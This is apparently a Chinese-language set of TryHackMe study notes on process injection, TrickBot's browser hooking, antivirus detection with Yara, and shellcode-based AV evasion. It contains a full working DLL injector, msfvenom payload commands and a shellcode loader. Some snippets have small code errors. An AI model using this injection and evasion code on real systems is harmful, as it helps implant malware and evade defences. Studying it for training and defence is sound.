WriteProcessMemory(
hProcess,
dllAllocatedMemory, // 分配内存区域的指针
dllLibFullPath, // 恶意 DLL 的路径
strlen(dllLibFullPath) + 1, // 确保字符后面的 \0 也写入进去
NULL
);
最后,我们使用 CreateRemoteThread
在目标进程中创建一个新线程。该线程的起始地址指向 kernel32.dll
中的 LoadLibraryA
函数,并将我们写入的 DLL 路径作为参数传递给它。
1
2
3
4
5
6
7
8
9
10
11
12
13
LPVOID loadLibrary = (LPVOID) GetProcAddress(
GetModuleHandle("kernel32.dll"), // 包含需要调用的 API 的模块的句柄
"LoadLibraryA" // 要导入的 API 调用
);
HANDLE remoteThreadHandler = CreateRemoteThread(
hProcess,
NULL,
0, // 使用线程的默认堆栈大小
(LPTHREAD_START_ROUTINE) loadLibrary // 指向 API 起始函数的指针
dllAllocatedMemory, // 指向分配好内存区域的指针
0, // 创建后立即执行
NULL
);
实践
说实话有点折腾人了,这里由于 ANSI 和 Unicode 的问题弄了很久。两套兼容方式也够折磨人的,不愧是 Microshit。
前面 GetProcessId
方法那里,Process32First
只给了一种实现,用的是 Unicode 编码,即 wchar_t
类型。
1
2
3
4
5
6
7
#ifdef UNICODE
#define Process32First Process32FirstW
#define Process32Next Process32NextW
#define PROCESSENTRY32 PROCESSENTRY32W
#define PPROCESSENTRY32 PPROCESSENTRY32W
#define LPPROCESSENTRY32 LPPROCESSENTRY32W
#endif // !UNICODE
从内存视图里面可以看到从结构体里面获取的字符串都高位有一个 \00,这是 UTF-16 的特性。而我们传入的 processName
又是 ANSI 编码的,这就会导致 strcmp 返回不了正确的结果。


所以这里要写一个函数,把 ANSI 字符串转换为 wchar_t
类型。
好,这里解决了,下面有一个 GetFullPathName
方法,这个函数呢,有两种版本。但默认情况下,Visual Studio 项目是配置为 Unicode 的。这意味着 GetFullPathName
实际上调用的是 GetFullPathNameW
。这下就导致 dllLibFullPath
接收到的是一个 wchar_t
类型,而系统又是把他当成 char
来对待。我 debug 的时候就发现他输出一个字符就不输出了。不过这里用 GetFullPathNameA
就解决了。
后面导入 LoadLibrary
方法的时候,要用 GetModuleHandleA
,至此解决了所有问题,可以注入 DLL 了。
解决这个的过程要善用调试工具,折腾这一下把 VS Studio 调试熟悉了。
如果你想通过调试查看 DLL 是否加载进程序了,通过 VS Studio 这个 Debug 是不够的,因为我们是注入到目标程序里面了,所以那一块的内存区域要用其他方式去读取。
用到的 DLL 是 msfvenom 生成的,你可以用以下代码生成 DLL。
1
msfvenom -p windows/x64/exec cmd="calc" -b "\x00" -f dll -o calc.dll
以下是我修改好的 dll-injector:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string.h>
#include <wchar.h>
// 将 ANSI 字符串转换为宽字符
// 这是一个简单的辅助函数
wchar_t* AnsiToWideChar(const char* ansiStr) {
int len = MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, NULL, 0);
wchar_t* wideStr = (wchar_t*)malloc(len * sizeof(wchar_t));
MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, wideStr, len);
return wideStr;
}
DWORD getProcessId(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &entry)) {
do {
wchar_t* wideProcessName = AnsiToWideChar(processName);
//printf("%s\n", processName);
//wprintf(L"%s\n", entry.szExeFile);
if (!strcmp(entry.szExeFile, wideProcessName)) {
printf("Found!\n");
return entry.th32ProcessID;
}
} while (Process32Next(hSnapshot, &entry));
}
}
else {
return 0;
}
}
int main(int argc, char* argv[]) {
if (argc != 3) {
printf("Cannot find require parameters\n");
printf("Usage: dll-injector.exe <process name> <path to DLL>\n");
exit(0);
}
char dllLibFullPath[256];
LPCSTR processName = argv[1];
LPCSTR dllLibName = argv[2];
DWORD processId = getProcessId(processName);
printf("processId: %d\n", (int)processId);
if (!processId) {
printf("ProcessId Failed\n");
exit(1);
}
if (!GetFullPathNameA(dllLibName, sizeof(dllLibFullPath), dllLibFullPath, NULL)) {
printf("GetFullPathName Failed\n");
exit(1);
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
printf("hProcess Failed\n");
exit(1);
}
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllLibFullPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (dllAllocatedMemory == NULL) {
printf("dllAllocatedMemory Failed\n");
exit(1);
}
if (!WriteProcessMemory(hProcess, dllAllocatedMemory, dllLibFullPath, strlen(dllLibFullPath) + 1, NULL)) {
printf("WriteProcessMemory Failed\n");
exit(1);
}
LPVOID loadLibrary = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibrary, dllAllocatedMemory, 0, NULL);
if (remoteThreadHandler == NULL) {
printf("remoteThreadHandler Failed\n");
DWORD error_code = GetLastError();
printf("CreateRemoteThread failed. Error Code: %lu\n", error_code);
exit(1);
}
CloseHandle(hProcess);
return 0;
}
Memory Execution Alternatives 内存执行替代
根据处于环境的不同,可能需要更改执行 shellcode 的方式。这通常发生在有些 API 被 Hook 了,但是没法绕过他,或者 EDR 在监视线程。
目前为止,我们已经研究了在本地/远程进程之间分配和写入数据的方法,执行也是任何注入技术中的关键一步;尽管在尝试最小化内存痕迹和 IOC 时,它并不那么重要。与分配和写入数据不同,执行有许多选项可供选择。前面几个任务我们通过 CreateThread
和 CreateRemoteThread
方法执行 shellcode 过,这里介绍另外三种执行方法。
Invoking Function Pointers 调用函数指针
这种方法的核心在于利用 C 语言的特性,将一个内存地址强制转换为函数指针,并直接调用。它不依赖额外的 API 调用来执行,但代码所在的内存区域必须是可执行的。虽然最常用于本地分配的内存,但在远程进程中,如果能获取到正确的地址并修改该进程的寄存器,理论上也可以利用。
1
((void(*)())addressPointer)();
(void(*)())
。这是一个类型转换。它将后面的addressPointer
强制转换成一个函数指针类型。*
: 表示这是一个指针。()
: 括号中的内容描述了该指针指向的函数的类型。void
: 括号前面的void
表示该函数没有返回值。()
: 括号里面的()
表示该函数没有参数。
addressPointer
是一个变量,它包含了你想要执行的代码的内存地址。通常,这个地址是在内存中动态分配或加载的。()
是函数调用操作符
整个过程就是将一个内存地址(addressPointer
)强制视为一个没有参数和返回值的函数,然后立即调用它。
这种技术的使用场景非常特殊,但在需要时会非常隐蔽和有用。
Asynchronous Procedure Calls 异步过程调用
Asyncrhonous Procedure Calls (APC) 是一种在指定线程中异步执行函数的机制。
简单来说,APC 就像是把你的恶意代码加入一个队列。当目标线程进入一个可警报状态(alertable state)时,它就会从队列中取出并执行你的代码,从而劫持线程的执行流。
APC 函数通过 QueueUserAPC
排队到线程。一旦排队成功,APC 函数就会导致一个软件中断,并在线程下一次被调度时执行该函数。为了让用户模式应用程序将 APC 函数排入队列,目标线程必须处于“可警报状态”。
可警报状态通常指的是线程正在执行一个等待函数,比如 WaitForSingleObject
或 Sleep
。
这里我们假设已经把我们的 Shellcode 写入到内存了,addressPointer
是我们写入好的内存地址,pinfo
是获取到的 PROCESS_INFORMATION
结构体。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
QueueUserAPC(
(PAPCFUNC)addressPointer, // APC 函数指针,指向我们已注入的 Shellcode 地址
pinfo.hThread, // 目标线程的句柄,从 PROCESS_INFORMATION 结构体获取
(ULONG_PTR)NULL // 传递给 APC 函数的参数,这里为空
);
// 恢复线程执行
ResumeThread(
pinfo.hThread // 目标线程的句柄
);
// 等待线程执行完毕
WaitForSingleObject(
pinfo.hThread, // 目标线程的句柄
INFINITE // 无限等待,直到线程结束或被唤醒
);
Section Manipulation 节区操作
这个技术的核心是直接修改 PE (Portable Executable) 文件的内部结构,而不是简单地对代码进行加密或混淆。PE 文件是 Windows 可执行文件的基本格式,由不同的节区 (Sections) 组成,比如存放代码的 .text
节和存放数据的 .data
节。
**PE 文件转储 (PE Dump)**:首先,攻击者需要用工具(如
xxd
)将恶意文件(如 DLL 或 Shellcode)的原始二进制数据提取出来。数学运算:然后,利用复杂的数学运算,计算出代码和数据在 PE 文件中的**相对虚拟地址 (RVA)**,这是 PE 文件中用来定位内容的相对偏移量。
高级技术:利用这些 RVA,攻击者可以采用更精妙的手段来隐藏恶意代码:
RVA 入口点解析:修改 PE 文件头的入口点,将其指向恶意代码,从而让系统在加载文件时直接执行注入的代码。
节区映射:在 PE 文件中创建新的节区,或修改现有节区的权限,以容纳恶意代码。
重定位表解析:修改重定位表,确保注入的代码在程序加载到内存中的任意地址时都能正常运行。
与常见混淆技术的区别
与常见的 XOR 或 Base64 加密等混淆技术相比,节区操作是一种更底层、更高级的防御规避手段。
- 混淆/加密:改变的是代码的外观,以躲避杀毒软件的签名检测。
- 节区操作:改变的是文件的内部结构和物理布局,旨在欺骗静态和动态分析工具,让恶意代码看起来像是文件本身的一个合法部分。
案例分析
来自 SentinelLabs 的报告,这是一个 TrickBot 的 TTP 的分析报告。
TrickBot 是最近在金融犯罪软件领域重新流行起来的一种著名的银行恶意软件。
这里我们分析的是这个恶意软件的 Hook 浏览器的功能,他能 Hook 浏览器的 API 去拦截和窃取凭据。
我们先来看看它们是如何针对浏览器的。这段反汇编代码显示了 push offset
指令,这表明在调用 OpenProcess
之前,恶意软件正在将不同的浏览器可执行文件名(chrome.exe
, iexplore.exe
, firefox.exe
等)作为参数压入堆栈,以便逐一尝试打开它们。这表明了 TrickBot 在寻找一个可注入的目标。你的分析是正确的,它通过 OpenProcess
来获取浏览器进程的句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
push eax
push 0
push 438h
call ds:OpenProcess
mov edi, eax
mov [edp,hProcess], edi
test edi, edi
jz loc_100045EE
--------------------------------
push offset Srch ; "chrome.exe"
lea eax, [ebp+pe.szExeFile]
...
mov eax, ecx
push offset aIexplore_exe ; "iexplore.exe"
push eax ; lpFirst
...
mov eax, ecx
push offset aFirefox_exe ; "firefox.exe"
push eax ; lpFirst
...
mov eax, ecx
push offset aMicrosoftedgec ; "microsoftedgecp.exe"
...
反射性注入的当前源代码尚不明确,但 SentinelLabs 已在下方概述了注入的基本程序流程。
- 打开目标进程(
OpenProcess
) - 分配内存(
VirtualAllocEx
) - 复制钩子安装程序到分配的内存里(
WriteProcessMemory
) - 复制 Shellcode 到分配的内存里(
WriteProcessMemory
) - 刷新缓存(
FlushInstructionCache
) - 创建远程线程,让它去执行钩子安装程序(
CreateRemoteThread
)。 - 该新线程在执行钩子安装程序后,可能会创建一个新线程(
RtlCreateUserThread
)或恢复被挂起的线程。
一旦注入,TrickBot 将调用其钩子安装程序函数,该函数已在第三步复制到内存中。SentinelLabs 在下方提供了安装程序函数的伪代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 计算我们恶意函数和原始函数中的偏移量
// + 1 是跳过 jmp 直接访问后面的 32 位偏移量
// 这里的 -5 是用来抵消跳转指令本身的长度
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
// 获取要被覆盖的原始指令的长度
v8 = (unsigned __int8)original_function[5];
// 记住原来函数所在的地址 + 1 是为了跳过 jmp 直接访问后面的 32 位偏移量
trampoline_lpvoid = *(void **)(original_function + 1);
// "0xE9" 是跳转指令的机器码,即 jmp
jmp_32_bit_relative_offset_opcode = 0xE9u;
// 修改内存页的保护属性 让代码能写入这块内存
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )
{
// 这一部分没看明白 original_function 我不知道是什么
// 很可能是指浏览器中被钩子劫持的那个原始 API 函数
// 写入内存只有下面那一个方法,而且写的是 opcode
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
// 这里相当于 original_function[67]
*(_DWORD *)(original_function + 0x43) = v10 + v11;
// 手动写入内存
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);
// 还原原始保护状态
VirtualProtectEx(
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);
result = 1;
先丢在这里,之后实践的时候再研究。
总结
这个房间就涵盖了注入的很多种方式,之前自己也看过一些注入手段,用的是未被公开的 API 来注入,绕过杀毒软件。就算我有这些基础,完成这个房间也是挺困难的,不过房间难度是 Hard,也正常吧。
Introduction to Antivirus
这个房间就简单的介绍了一下杀毒软件,概念性的比较多,后面的 yara 值得学习一下,能理解杀软是如何通过签名鉴定文件是否存在威胁的。
传统杀毒软件通过记录的文件指纹来查找恶意软件,现代杀毒软件通过整合多种技术,从静态到动态,构建了一个全面的防御体系,以识别和拦截不断演变的恶意软件。
1. 核心:多层级检测
- 静态检测(Signature-Based):这是最基础的防线。它通过模式匹配,在恶意文件被执行之前,就扫描其独特的文件指纹(如哈希值、特定字节序列或字符串)。这种方式速度快,但容易被简单的文件修改(如加壳、混淆)绕过。
- 启发式检测(Heuristic):为了弥补静态检测的不足,启发式分析会根据代码的行为模式来判断其恶意性。例如,一个程序在没有用户交互的情况下试图访问系统关键区域,就可能被标记为可疑。
- 动态检测(Behavioral):这是最高级的防御层。杀毒软件会将可疑文件放入一个隔离的**沙箱(Sandbox)**环境中执行,并**模拟**其所有行为。通过监控以下活动来识别恶意意图:
- API 调用:是否调用了危险的系统函数,如创建新进程、修改注册表等。
- 文件系统修改:是否试图删除、修改或加密用户文件。
- 网络请求:是否试图连接到可疑的命令与控制服务器。
2. 辅助功能:处理复杂威胁
- 解压/解包(Decompression/Unpacking):许多恶意软件会使用加壳或加密技术来隐藏其真实代码。杀毒软件的解包器能够还原这些文件,暴露其原始代码,以便进行静态分析。
- 模拟器(Emulator):模拟器是沙箱的核心组件,它在不影响真实系统的情况下,运行和分析恶意代码的每一个指令,从而发现其隐藏的行为。
静态检测
静态检测技术是最简单的杀毒软件检测类型,它基于恶意文件的预定义签名。简单来说,它在检测中使用模式匹配技术,例如查找唯一的字符串、CRC(校验和)、字节码/十六进制值序列以及加密哈希(MD5、SHA1 等)。
工具
快捷看 Hash 工具 OpenHashTab 资源管理器集成,挺方便的
PEiD 看打包器 文件实际类型 文件头:https://filesig.search.org/
这里用到的是一个 yara 工具,一个很强大的自定义静态扫描工具
Yara
这里是去 Yara 房间里面学习了一下,不是这个房间的内容,但是强烈建议去学一遍再回来。
Room:https://tryhackme.com/room/yara
Yara 入门
在恶意软件中可能会有一些特征字符串,比如说虚拟币钱包地址,IP 地址,这种就可以作为敏感信息去检测他,而 Yara 就是根据文件呈现的特征或模式来确定文件是否恶意。
yara 命令需要两个参数才能生效,一个是规则文件,一个是目标(要使用该规则的文件名、目录或进程 ID)。
Yara 规则
https://yara.readthedocs.io/en/stable/writingrules.html
Meta 元数据
Yara 规则的这一部分是为规则作者的描述性信息保留的。例如,您可以使用 description
(desc
的缩写)来总结您的规则检查的内容。此部分中的任何内容都不会影响规则本身。类似于代码注释,总结您的规则很有用。
Strings 字符串
你可以使用字符串在文件或程序中搜索特定的文本或十六进制。例如,假设我们想在一个目录中搜索所有包含“Hello World!”的文件,我们可以创建一个规则,如下所示:
1
2
3
4
rule helloworld_checker{
strings:
$hello_world = "Hello World!"
}
我们定义关键字 Strings
,其中我们想要搜索的字符串,即“Hello World!”,存储在变量 $hello_world
中。
当然,我们需要一个条件来使规则生效。在这个例子中,要使这个字符串成为条件,我们需要使用变量名。在这种情况下, $hello_world
:
1
2
3
4
5
6
7
rule helloworld_checker{
strings:
$hello_world = "Hello World!"
condition:
$hello_world
}
本质上,如果任何文件包含字符串“Hello World!”,则该规则将匹配。但是,这字面意思是只有找到“Hello World!”时才会匹配,而不会匹配“hello world”或“HELLO WORLD.”。
要解决此问题,条件 any of them
允许搜索多个字符串,如下所示:
1
2
3
4
5
6
7
8
9
rule helloworld_checker{
strings:
$hello_world = "Hello World!"
$hello_world_lowercase = "hello world"
$hello_world_uppercase = "HELLO WORLD"
condition:
any of them
}
Conditions 条件
我们已经使用了 true
和 any of them
条件。与常规编程非常相似,你可以使用以下运算符:
- <= 小于或等于
- >= 大于或等于
- != 不等于
下面的规则表示:当“Hello World!”字符串出现次数小于或等于十次时,才表示规则匹配
1
2
3
4
5
6
7
rule helloworld_checker{
strings:
$hello_world = "Hello World!"
condition:
#hello_world <= 10
}
Combining keywords 组合关键词
- and
- not
- or
要组合多个条件。例如,如果你想检查一个文件是否包含某个字符串并且大小符合特定要求(在本例中,我们检查的样本文件小于 10 KB 且包含“Hello World!”),你可以使用如下规则:
1
2
3
4
5
6
7
rule helloworld_checker{
strings:
$hello_world = "Hello World!"
condition:
$hello_world and filesize < 10KB
}
Yara 规则剖析

Yara 模块
Cuckoo Sandbox
Cuckoo Sandbox 是一个自动化的恶意软件分析环境。此模块允许您根据 Cuckoo Sandbox 中发现的行为生成 Yara 规则。由于此环境会执行恶意软件,因此您可以根据特定行为(例如运行时字符串等)创建规则。
Python PE
Python 的 PE 模块允许你根据 Windows 可移植可执行文件 (PE) 结构的各个部分和元素创建 Yara 规则。
Yara 工具
- LOKI 是由 Florian Roth 创建/编写的免费开源 IOC(入侵指标)扫描器。
- THOR 多平台 IOC 和 YARA 扫描器
- FENRIR
- 一个 bash 脚本
- YAYA (Yet Another Yara Automaton)
- 管理规则库用的
使用 LOKI
LOKI 是一个自动调用 yara 规则进行扫描的工具
1
python loki.py -p .
使用 yarGen 创建 Yara 规则
yarGen 是一个 YARA 规则生成器,它能根据恶意软件文件中发现的字符串创建 YARA 规则,同时删除所有在正常软件文件中也出现的字符串。
1
2
3
4
python3 yarGen.py -m /home/cmnatic/suspicious-files/file2 --excludegood -o /home/cmnatic/suspicious-files/file2.yar
// 调用 loki 测试我们的文件
python ../tools/Loki/loki.py -p .
修改 Yara 规则
原来的规则由于是简单的匹配字符串,导致我们扫描文本文件都会造成假阳,所以我们需要修改匹配规则。
1
2
3
4
5
6
7
8
9
rule thm_demo_rule {
meta:
author = "THM: Intro-to-AV-Room"
description = "Look at how the Yara rule works with ClamAV"
strings:
$a = "C:\\Users\\thm\\source\\repos\\AV-Check\\AV-Check\\obj\\Debug\\AV-Check.pdb"
condition:
$a
}
这里用一个 Magic Number 来增加一下判断条件,EXE
文件一般是由 4D5A
开始的。
修改后的规则:
1
2
3
4
5
6
7
8
9
10
rule thm_demo_rule {
meta:
author = "THM: Intro-to-AV-Room"
description = "Look at how the Yara rule works with ClamAV"
strings:
$a = "C:\\Users\\thm\\source\\repos\\AV-Check\\AV-Check\\obj\\Debug\\AV-Check.pdb"
$b = "MZ"
condition:
$b at 0 and $a
}
动态检测
第一种方法是通过监控 Windows API。检测引擎会检查 Windows 应用程序调用,并使用 Windows Hooks 监控 Windows API 调用。
第二种动态检测的另一种方法是沙盒。沙盒是一种虚拟化环境,用于运行与主机计算机隔离的恶意文件。这通常在隔离环境中进行,主要目标是分析恶意软件在系统中的行为方式。一旦恶意软件被确认,将根据二进制文件的特性创建唯一的签名和规则。最后,新的更新将被推送到云数据库以供将来使用。
说实话,比较鸡肋,第一种可以绕过,第二种可以避免。
还有一种就是行为检测了,异常行为不加白的应用直接拦。
识别杀毒软件
房间介绍了开源的轮子 SharpEDRChecker,和房间提供的用 C# 写的,我估计还有一些一行的脚本,毕竟这个就是简单的调系统 API 然后字符串匹配。
AV Evasion: Shellcode
这个房间介绍免杀技术。
PE 结构
什么是 PE
之前的房间我们已经聊过这个了,丢一张图过来,更多资料可以参考微软文档。

PE 结构中有不同类型的数据容器,每种容器存储不同的数据。
.text
保存程序的实际代码.data
保存初始化和定义的变量.bss
保存未初始化数据(未赋值的声明变量).rdata
包含只读数据.edata
包含可导出对象和相关表格信息.idata
导入对象和相关表格信息.reloc
图像重定位信息.rsrc
链接程序使用的外部资源,如图像、图标、嵌入式二进制文件和清单文件,清单文件包含程序版本、作者、公司和版权等所有信息!
以下是 Windows 加载器读取可执行二进制文件并将其作为进程运行的示例步骤。
- 标头部分:DOS、Windows 和可选标头被解析以提供有关 EXE 文件的信息。例如,
- 魔术数字以“MZ”开头,这告诉加载器这是一个 EXE 文件。
- 文件签名
- 文件是为 x86 还是 x64 CPU 架构编译的。
- 创建时间戳。
- 解析节表详情,例如
- 文件包含的节数。
- 根据文件内容映射到内存中
- EntryPoint 地址和 ImageBase 的偏移量。
- RVA:相对虚拟地址,与 Imagebase 相关的地址。
- 导入、DLL 和其他对象被加载到内存中。
- EntryPoint 地址被定位,主执行函数运行。
为什么我们要了解 PE?
我们会碰到打包和解包,这个就需要我们了解 PE 结构才知道原理。
另外创建或修改具有针对 Windows 机器的杀毒规避能力的恶意软件,我们需要了解 Windows 可执行文件(PE 文件)的结构以及恶意 shellcode 可以存储的位置。
我们可以通过定义和初始化 shellcode 变量的方式来控制将 shellcode 存储在哪个数据节中。
- 在主函数中将 shellcode 定义为局部变量会将其存储在 .TEXT 部分(和执行的代码存储在一起)。
- 将 shellcode 定义为全局变量会将其存储在 .Data 部分。
- 另一种技术是将 shellcode 作为原始二进制文件存储在图标图像中,并将其链接到代码中,因此在这种情况下,它会显示在.rsrc Data 节中。
- 我们可以添加一个自定义数据节来存储 shellcode。
Shellcode
Shellcode 是一组精心设计的机器代码指令,用于指示易受攻击的程序运行附加功能,并且在大多数情况下,提供对系统 shell 的访问或创建反向命令 shell。
一旦 shellcode 被注入到进程中并由易受攻击的软件或程序执行,它就会修改代码运行流程,以更新程序的寄存器和功能,从而执行攻击者的代码。
它通常用汇编语言编写,并翻译成十六进制操作码(operational codes opcode)。编写独特和自定义的 shellcode 有助于显著规避杀毒软件。但是,编写自定义 shellcode 需要在处理汇编语言方面具备出色的知识和技能,这不是一件容易的事!
Shellcode 入门
要制作一个 Shellcode,你需要掌握多项技能,包括对 x86/x64 CPU 架构、汇编语言、C 语言以及 Linux/Windows 操作系统的深入理解。
制作 Shellcode 的核心步骤是编写汇编代码,然后将其编译并提取出机器码。我们以一个简单的 Shellcode 为例,它将在屏幕上打印字符串 “THM, Rocks!”,然后正常退出程序。这个过程需要用到两个关键的系统调用:
sys_write
:用于将数据写入文件描述符(这里是标准输出)。sys_exit
:用于终止程序执行。
理解系统调用 (Syscall)
系统调用是程序请求操作系统内核执行特定任务的方式。在 64 位 Linux 系统中,每个系统调用都有一个对应的编号,这个编号需要放在 rax
寄存器中。其他参数则通过 rdi
、rsi
和 rdx
寄存器传递。
rax | System Call | rdi | rsi | rdx |
---|---|---|---|---|
0x1 | sys_write | unsigned int fd | const char *buf | size_t count |
0x3c | sys_exit | int error_code |
上表告诉我们,要使用系统调用来调用 sys_write
和 sys_exit
函数,我们需要在不同的处理器寄存器中设置哪些值。对于 64 位 Linux,rax
寄存器用于指示我们希望调用的内核函数。将 rax
设置为 0x1 会使内核执行 sys_write
,将 rax
设置为 0x3c 会使内核执行 sys_exit
。这两个函数都需要一些参数才能工作,这些参数可以通过 rdi
、rsi
和 rdx
寄存器设置。
- **
sys_write
(0x1)**:- **
rdi
(文件描述符)**:指定要写入的目标。1
通常代表标准输出(屏幕)。 - **
rsi
(缓冲区指针)**:指向我们要打印的字符串的内存地址。 - **
rdx
(计数)**:要打印的字符串的字节数。
- **
- **
sys_exit
(0x3c)**:- **
rdi
(退出代码)**:指定程序的退出状态。0
表示程序成功执行。
- **
通过在正确的寄存器中设置这些值,我们就可以让程序请求内核完成我们需要的操作。
你可以在这里找到可用 64 位 Linux 系统调用的完整参考。
代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
global _start
section .text
_start:
jmp MESSAGE ; 1) 跳转到 MESSAGE
GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) 把堆栈的地址取出来放进 RSI 寄存器
; 这样就有了我们字符串的地址了
mov rdx, 0xd
syscall
mov rax, 0x3c
mov rdi, 0x0
syscall
MESSAGE:
call GOBACK ; 2) 他会把下一条指令的地址压入堆栈
db "THM, Rocks!", 0dh, 0ah
汇编代码的工作原理
准备 sys_write
调用
- 我们将
0x1
存入rax
寄存器,指示要调用sys_write
。 - 将
1
存入rdi
寄存器,指定标准输出(屏幕)。 - 将字符串的地址存入
rsi
寄存器。为此,我们使用一个技巧:call GOBACK
。call
指令会将下一条指令的地址(即我们消息字符串的起始地址)压入堆栈。然后pop rsi
将其弹出到rsi
中。 - 将字符串的长度存入
rdx
寄存器。 - 最后,使用
syscall
指令执行sys_write
。
准备 sys_exit
调用
- 将
0x3c
存入rax
寄存器,指示要调用sys_exit
。 - 将
0
存入rdi
寄存器,表示程序成功退出。 - 使用
syscall
指令执行sys_exit
。
字符串存储
- 我们的消息字符串“THM, Rocks!”以及换行符
0d, 0a
都被存储在汇编代码的末尾,这样才能利用call
指令来获取其地址。
生成与测试 Shellcode
一旦汇编代码编写完成,我们就可以将其编译并提取为 Shellcode:
- 编译与链接:使用
nasm
编译.asm
文件,然后用ld
链接,生成可执行文件thm
。
1
2
// 编译 + 链接 + 执行
nasm -f elf64 thm.asm && ld thm.o -o thm && ./thm
- 提取 Shellcode:使用
objdump
查看编译后的二进制文件的.text
段,然后用objcopy
将.text
段以纯二进制格式提取出来。
1
2
objdump -d thm
objcopy -j .text -O binary thm thm.text
3. 转换为 C 语言格式:使用 xxd
命令将二进制文件 thm.text
转换成 C 语言数组的十六进制表示。
1
xxd -i thm.text
现在就从汇编代码中生成了我们的 shellcode,是不是很有趣,可以测试一下 shellcode 有没有用,注入 C 程序试试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};
(*(void(*)())message)();
return 0;
}
最后,使用 gcc
编译并执行这个 C 程序。
1
gcc -g -Wall -z execstack thm.c -o thmx && ./thmx
Shellcode 利用
使用 Msfvenom 生成 Shellcode
第一个没什么好说的,msf 指定输出格式生成
1
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
Shellcode 加载器
Shellcode 本身无法独立执行,它需要一个加载器(Loader)。加载器是一个简单的程序,其唯一任务就是将 Shellcode 放入内存并执行它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}
编译
1
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
从可执行文件(EXE)中提取 Shellcode
Shellcode 并不总是以 C 语言数组的形式存在。在更高级的场景中,它可能被存储在原始的二进制文件(.bin
)中,这是许多命令与控制(C2)框架的首选格式。
1
2
3
4
5
6
// 生成 .bin 文件
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
// 查看文件类型
file /tmp/example.bin
// 用 xxd 提取 16 进制
xxd -i /tmp/example.bin
可以从上面生成的 C 代码 shellcode 比对,这俩是一样的。
但是我觉得这个标题描述有问题,应该是找一个 exe 文件直接提取他的入口点,然后 dump 出来,这样才是从 exe 文件中提取。
阶段 Payload
